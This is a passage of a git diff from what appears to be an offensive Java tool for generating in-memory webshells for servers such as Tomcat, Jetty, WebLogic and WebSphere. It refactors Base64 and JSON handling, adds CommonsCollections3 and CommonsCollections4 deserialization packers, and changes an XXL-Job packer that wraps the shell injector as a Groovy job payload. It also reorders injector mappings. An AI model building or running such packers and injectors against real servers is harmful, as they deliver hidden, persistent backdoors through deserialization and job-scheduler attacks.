b/generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java @@ -14,7 +14,7 @@ import net.bytebuddy.dynamic.scaffold.TypeValidation; import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.pool.TypePool; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; import java.util.*; @@ -35,7 +35,7 @@ public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) @SneakyThrows public DynamicType.Builder getBuilder() { - String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())); + String base64String = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes())); String originalClassName = injectorConfig.getInjectorClass().getName(); String newClassName = injectorConfig.getInjectorClassName(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java index 2f13853e..4480022a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/XxlJobPacker.java @@ -1,12 +1,15 @@ package com.reajason.javaweb.memshell.packer; -import com.alibaba.fastjson2.JSONObject; -import com.alibaba.fastjson2.JSONWriter; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; import com.reajason.javaweb.memshell.config.GenerateResult; +import lombok.SneakyThrows; import org.apache.commons.io.IOUtils; import java.io.IOException; import java.nio.charset.Charset; +import java.util.HashMap; +import java.util.Map; import java.util.Objects; /** @@ -25,23 +28,26 @@ public XxlJobPacker() { } @Override + @SneakyThrows public String pack(GenerateResult generateResult) { String source = template .replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str()) .replace("{{className}}", generateResult.getInjectorClassName()); - JSONObject jsonObject = new JSONObject(); - jsonObject.put("jobId", 1); - jsonObject.put("executorHandler", "demoJobHandler"); - jsonObject.put("executorParams", "demoJobHandler"); - jsonObject.put("executorBlockStrategy", "COVER_EARLY"); - jsonObject.put("executorTimeout", 0); - jsonObject.put("logId", 1); - jsonObject.put("logDateTime", System.currentTimeMillis()); - jsonObject.put("glueType", "GLUE_GROOVY"); - jsonObject.put("glueSource", source); - jsonObject.put("glueUpdatetime", System.currentTimeMillis()); - jsonObject.put("broadcastIndex", 0); - jsonObject.put("broadcastTotal", 0); - return JSONObject.toJSONString(jsonObject, JSONWriter.Feature.PrettyFormat); + Map map = new HashMap<>(); + map.put("jobId", 1); + map.put("executorHandler", "demoJobHandler"); + map.put("executorParams", "demoJobHandler"); + map.put("executorBlockStrategy", "COVER_EARLY"); + map.put("executorTimeout", 0); + map.put("logId", 1); + map.put("logDateTime", System.currentTimeMillis()); + map.put("glueType", "GLUE_GROOVY"); + map.put("glueSource", source); + map.put("glueUpdatetime", System.currentTimeMillis()); + map.put("broadcastIndex", 0); + map.put("broadcastTotal", 0); + ObjectMapper objectMapper = new ObjectMapper(); + objectMapper.enable(SerializationFeature.INDENT_OUTPUT); // 美化输出 + return objectMapper.writeValueAsString(map); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java index 8e50a99f..5e9787cf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/DefaultBase64Packer.java @@ -2,7 +2,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -11,6 +11,6 @@ public class DefaultBase64Packer implements Packer { @Override public String pack(GenerateResult generateResult) { - return Base64.encodeBase64String(generateResult.getInjectorBytes()); + return Base64.getEncoder().encodeToString(generateResult.getInjectorBytes()); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java index d9e82722..0f2dbc6a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/base64/GzipBase64Packer.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -14,6 +14,6 @@ public class GzipBase64Packer implements Packer { @Override @SneakyThrows public String pack(GenerateResult generateResult) { - return Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())); + return Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java index eda03e86..b5a01725 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/Hessian2XSLTScriptEnginePacker.java @@ -5,7 +5,8 @@ import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import org.apache.commons.codec.binary.Base64; + +import java.util.Base64; /** * @author ReaJason @@ -19,6 +20,6 @@ public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); - return Base64.encodeBase64String(generate); + return Base64.getEncoder().encodeToString(generate); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java index 9a2b1d65..206bc6aa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/hessian/HessianXSLTScriptEnginePacker.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.deserialize.PayloadType; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -19,6 +19,6 @@ public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine); byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig); - return Base64.encodeBase64String(generate); + return Base64.getEncoder().encodeToString(generate); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java index 8739b485..04f5454f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer { public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110); - return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java index 31cf6043..f1002a1f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer { public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16); - return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java index e14e8069..2d34563a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java @@ -6,7 +6,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer { public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18); - return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java index cbb6f7e0..08a958f0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java @@ -6,7 +6,8 @@ import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.packer.Packer; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; + +import java.util.Base64; /** * @author ReaJason @@ -19,6 +20,6 @@ public class CommonsBeanutils19Packer implements Packer { public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); - return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java new file mode 100644 index 00000000..21266dd5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import java.util.Base64;; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsCollections3Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsCollections3); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java new file mode 100644 index 00000000..71a0aa21 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import java.util.Base64;; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsCollections4Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsCollections4); + return Base64.getEncoder().encodeToString(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java index 315d26be..e4aef5fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; +import java.util.Base64;; /** * @author ReaJason @@ -17,6 +17,6 @@ public class SpELSpringIOUtilsGzipPacker implements Packer { @SneakyThrows public String pack(GenerateResult generateResult) { return template.replace("{{className}}", generateResult.getInjectorClassName()) - .replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes()))); + .replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes()))); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java index 0488c3de..9755da11 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java @@ -30,8 +30,9 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, ApusicServletInjector.class) + .addInjector(LISTENER, ApusicListenerInjector.class) .addInjector(FILTER, ApusicFilterInjector.class) - .addInjector(LISTENER, ApusicListenerInjector.class).build(); + .addInjector(SERVLET, ApusicServletInjector.class) + .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java index e9d22373..c42537a5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java @@ -18,8 +18,8 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, BesFilterInjector.class) .addInjector(LISTENER, BesListenerInjector.class) + .addInjector(FILTER, BesFilterInjector.class) .addInjector(VALVE, BesValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index a3d8aa8d..dcbc4c76 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -44,10 +44,10 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, GlassFishFilterInjector.class) - .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(LISTENER, GlassFishListenerInjector.class) .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) + .addInjector(FILTER, GlassFishFilterInjector.class) + .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java index 449678a7..e2ff683a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -24,10 +24,10 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, InforSuiteFilterInjector.class) - .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(LISTENER, GlassFishListenerInjector.class) .addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class) + .addInjector(FILTER, InforSuiteFilterInjector.class) + .addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index 7ac7ff04..86498c4a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -24,8 +24,8 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, JbossFilterInjector.class) .addInjector(LISTENER, JbossListenerInjector.class) + .addInjector(FILTER, JbossFilterInjector.class) .addInjector(VALVE, JbossValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java index b5c1ef57..9ca6e28b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java @@ -33,12 +33,12 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, JettyServletInjector.class) - .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) - .addInjector(FILTER, JettyFilterInjector.class) - .addInjector(JAKARTA_FILTER, JettyFilterInjector.class) .addInjector(LISTENER, JettyListenerInjector.class) .addInjector(JAKARTA_LISTENER, JettyListenerInjector.class) + .addInjector(FILTER, JettyFilterInjector.class) + .addInjector(JAKARTA_FILTER, JettyFilterInjector.class) + .addInjector(SERVLET, JettyServletInjector.class) + .addInjector(JAKARTA_SERVLET, JettyServletInjector.class) .addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class) .addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java index c7fb4d3f..67d06b98 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java @@ -28,9 +28,9 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, ResinServletInjector.class) - .addInjector(FILTER, ResinFilterInjector.class) .addInjector(LISTENER, ResinListenerInjector.class) + .addInjector(FILTER, ResinFilterInjector.class) + .addInjector(SERVLET, ResinServletInjector.class) .addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java index 766fff7d..34dcaffc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java @@ -23,12 +23,11 @@ public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) Set injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes(); ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder(); - for (Map.Entry> entry : rawToolMapping.entrySet()) { - String shellType = entry.getKey(); - if (!injectorSupportedShellTypes.contains(shellType)) { + for (String shellType : injectorSupportedShellTypes) { + Class shellClass = rawToolMapping.get(shellType); + if (shellClass == null) { continue; } - Class shellClass = entry.getValue(); if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) { shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java index 3aa983c0..bfb87f95 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java @@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell { public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() .addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class) + .addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class) .addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class) .addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class) - .addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 08493e1a..2cd30b6b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -33,14 +33,14 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, TomcatServletInjector.class) - .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) - .addInjector(FILTER, TomcatFilterInjector.class) - .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) + .addInjector(FILTER, TomcatFilterInjector.class) + .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(VALVE, TomcatValveInjector.class) .addInjector(JAKARTA_VALVE, TomcatValveInjector.class) + .addInjector(SERVLET, TomcatServletInjector.class) + .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java index 0b6dc537..b5eebad2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java @@ -18,10 +18,10 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, TongWebFilterInjector.class) - .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(LISTENER, TongWebListenerInjector.class) .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) + .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java index 3f8b885c..9b4a581f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java @@ -18,10 +18,10 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(FILTER, TongWebFilterInjector.class) - .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(LISTENER, TongWebListenerInjector.class) .addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class) + .addInjector(FILTER, TongWebFilterInjector.class) + .addInjector(JAKARTA_FILTER, TongWebFilterInjector.class) .addInjector(VALVE, TongWebValveInjector.class) .addInjector(JAKARTA_VALVE, TongWebValveInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java index c032b68c..1e16a590 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java @@ -38,12 +38,12 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, UndertowServletInjector.class) - .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) - .addInjector(FILTER, UndertowFilterInjector.class) - .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class) .addInjector(LISTENER, UndertowListenerInjector.class) .addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class) + .addInjector(FILTER, UndertowFilterInjector.class) + .addInjector(JAKARTA_FILTER, UndertowFilterInjector.class) + .addInjector(SERVLET, UndertowServletInjector.class) + .addInjector(JAKARTA_SERVLET, UndertowServletInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class) .addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java index e15cd11b..acd24ff2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java @@ -18,9 +18,9 @@ public Class getListenerInterceptor() { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(SERVLET, WebLogicServletInjector.class) - .addInjector(FILTER, WebLogicFilterInjector.class) .addInjector(LISTENER, WebLogicListenerInjector.class) + .addInjector(FILTER, WebLogicFilterInjector.class) + .addInjector(SERVLET, WebLogicServletInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class) .addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class) .build(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java index c7b5a1f0..17852694 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java @@ -29,9 +29,9 @@ public Class 